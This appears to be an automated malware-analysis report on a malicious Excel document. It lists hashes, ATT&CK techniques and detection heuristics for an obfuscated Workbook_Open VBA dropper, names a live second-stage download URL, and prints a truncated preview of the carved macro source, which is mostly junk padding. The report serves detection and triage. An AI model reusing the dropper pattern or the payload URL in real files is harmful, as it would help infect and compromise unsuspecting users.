Office (OLE) malware analysis — malicious · 089bed0e657567ed

MALICIOUS

Office (OLE)

926.0 KB Created: 2018-06-25 00:12:27 Authoring application: Microsoft Excel First seen: 2019-01-12

MD5: f673859bf9e302b99dbce493c4e9290b SHA-1: 8816b41cf31a090c58b90d563b80ffa7215e49a4 SHA-256: 089bed0e657567eddb5deeb191ffe721701c806d577e62f501b6864059068ca6

284 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Decode Files or Information

The critical heuristics indicate the presence of an obfuscated auto-exec VBA loader within a Workbook_Open macro, which uses Shell() calls. This strongly suggests the macro's purpose is to download and execute a second-stage payload from the embedded URL. The ClamAV detection further supports its malicious nature.

Heuristics 8

ClamAV: Doc.Dropper.Agent-6592154-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-6592154-0
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL https://a.coka.la/P3yux3.jpg In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	697528 bytes
SHA-256: `76141fa90ea2859a9f1cdad854a2316d5710adc939c2d73c85e2deefccbebb22`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 143 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() zSvSOgOjqYfGC.ZMDVPBQ 'yOJEcmjBlHcICCJIyNcqhVcsLkXtSPcjlOTiGEjTbrElhfFCoZRri Dim BCdmRssPqiVftXnjaBteIOqRqLffUEsykAjMpwpLrElIiGnHRSNYXNZm 'LLvFMMulqXusobteLinEdiikXXOCrTbXbxAdAjyeKzRLMuTpZjMpaUIddLhoy Dim ruXwXRqbPdcjIueQXYdEYdHHmwGpWApBKfSEtPoddOJFkFRadMGnEkaO End Sub Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "zSvSOgOjqYfGC" Public Sub ZMDVPBQ() 'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRSNGVPPPOMBPTXBYSAISOLDBEMPGZEBARLLPMTDJLHFDPHKQBXNCFVPWABMAVPAIAHDMJHKSKKGXFCFVKDRKLNFZVGWPXUEYBRJRDGNUVRKVGHRCBLAGIKWOKVSDNHONFKCPBBFSYFIJNHBYPMTQWBHCKQATHFEHMLOI 'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRSNGVPPPOMBPTXBYSAISOLDBEMPGZEBARLLPMTDJLHFDPHKQBXNCFVPWABMAVPAIAHDMJHKSKKGXFCFVKDRKLNFZVGWPXUEYBRJRDGNUVRKVGHRCBLAGIKWOKVSDNHONFKCPBBFSYFIJNHBYPMTQWBHCKQATHFEHMLOI 'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRSNGVPPPOMBPTXBYSAISOLDBEMPGZEBARLLPMTDJLHFDPHKQBXNCFVPWABMAVPAIAHDMJHKSKKGXFCFVKDRKLNFZVGWPXUEYBRJRDGNUVRKVGHRCBLAGIKWOKVSDNHONFKCPBBFSYFIJNHBYPMTQWBHCKQATHFEHMLOI 'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRSNGVPPPOMBPTXBYSAISOLDBEMPGZEBARLLPMTDJLHFDPHKQBXNCFVPWABMAVPAIAHDMJHKSKKGXFCFVKDRKLNFZVGWPXUEYBRJRDGNUVRKVGHRCBLAGIKWOKVSDNHONFKCPBBFSYFIJNHBYPMTQWBHCKQATHFEHMLOI 'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRSNGVPPPOMBPTXBYSAISOLDBEMPGZEBARLLPMTDJLHFDPHKQBXNCFVPWABMAVPAIAHDMJHKSKKGXFCFVKDRKLNFZVGWPXUEYBRJRDGNUVRKVGHRCBLAGIKWOKVSDNHONFKCPBBFSYFIJNHBYPMTQWBHCKQATHFEHMLOI 'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRSNGVPPPOMBPTXBYSAISOLDBEMPGZEBARLLPMTDJLHFDPHKQBXNCFVPWABMAVPAIAHDMJHKSKKGXFCFVKDRKLNFZVGWPXUEYBRJRDGNUVRKVGHRCBLAGIKWOKVSDNHONFKCPBBFSYFIJNHBYPMTQWBHCKQATHFEHMLOI 'TYVOCIYDGAEWUPLMYWHEOYCXABJHBWSWLZWWZXPQXUNIXOTEHRSHNYQLOXBESNLGVAOGFAAPDCLRNWYNFHXHRNGFLFGWRFORALXEXZPTRNIQZBXEEYNILHVKBKJQRZVPLUCRSGIAAEEDOQZZJWFHVGFNHTDHALTHFRTMTUYIGTARNZLXCEZSAHNUIPUBMSFKVJDEWYYVEENAKDHPRGISLRAFFYQLTXRTUGNIQOKRUGTYNUXLGYJKXACBXGBIJCXWNKCYPALRMLWQSWSCWHCTRZLGFXTZZAZZQQERGWERTDZRSNGVPPPOMBPTXBY ... (truncated)

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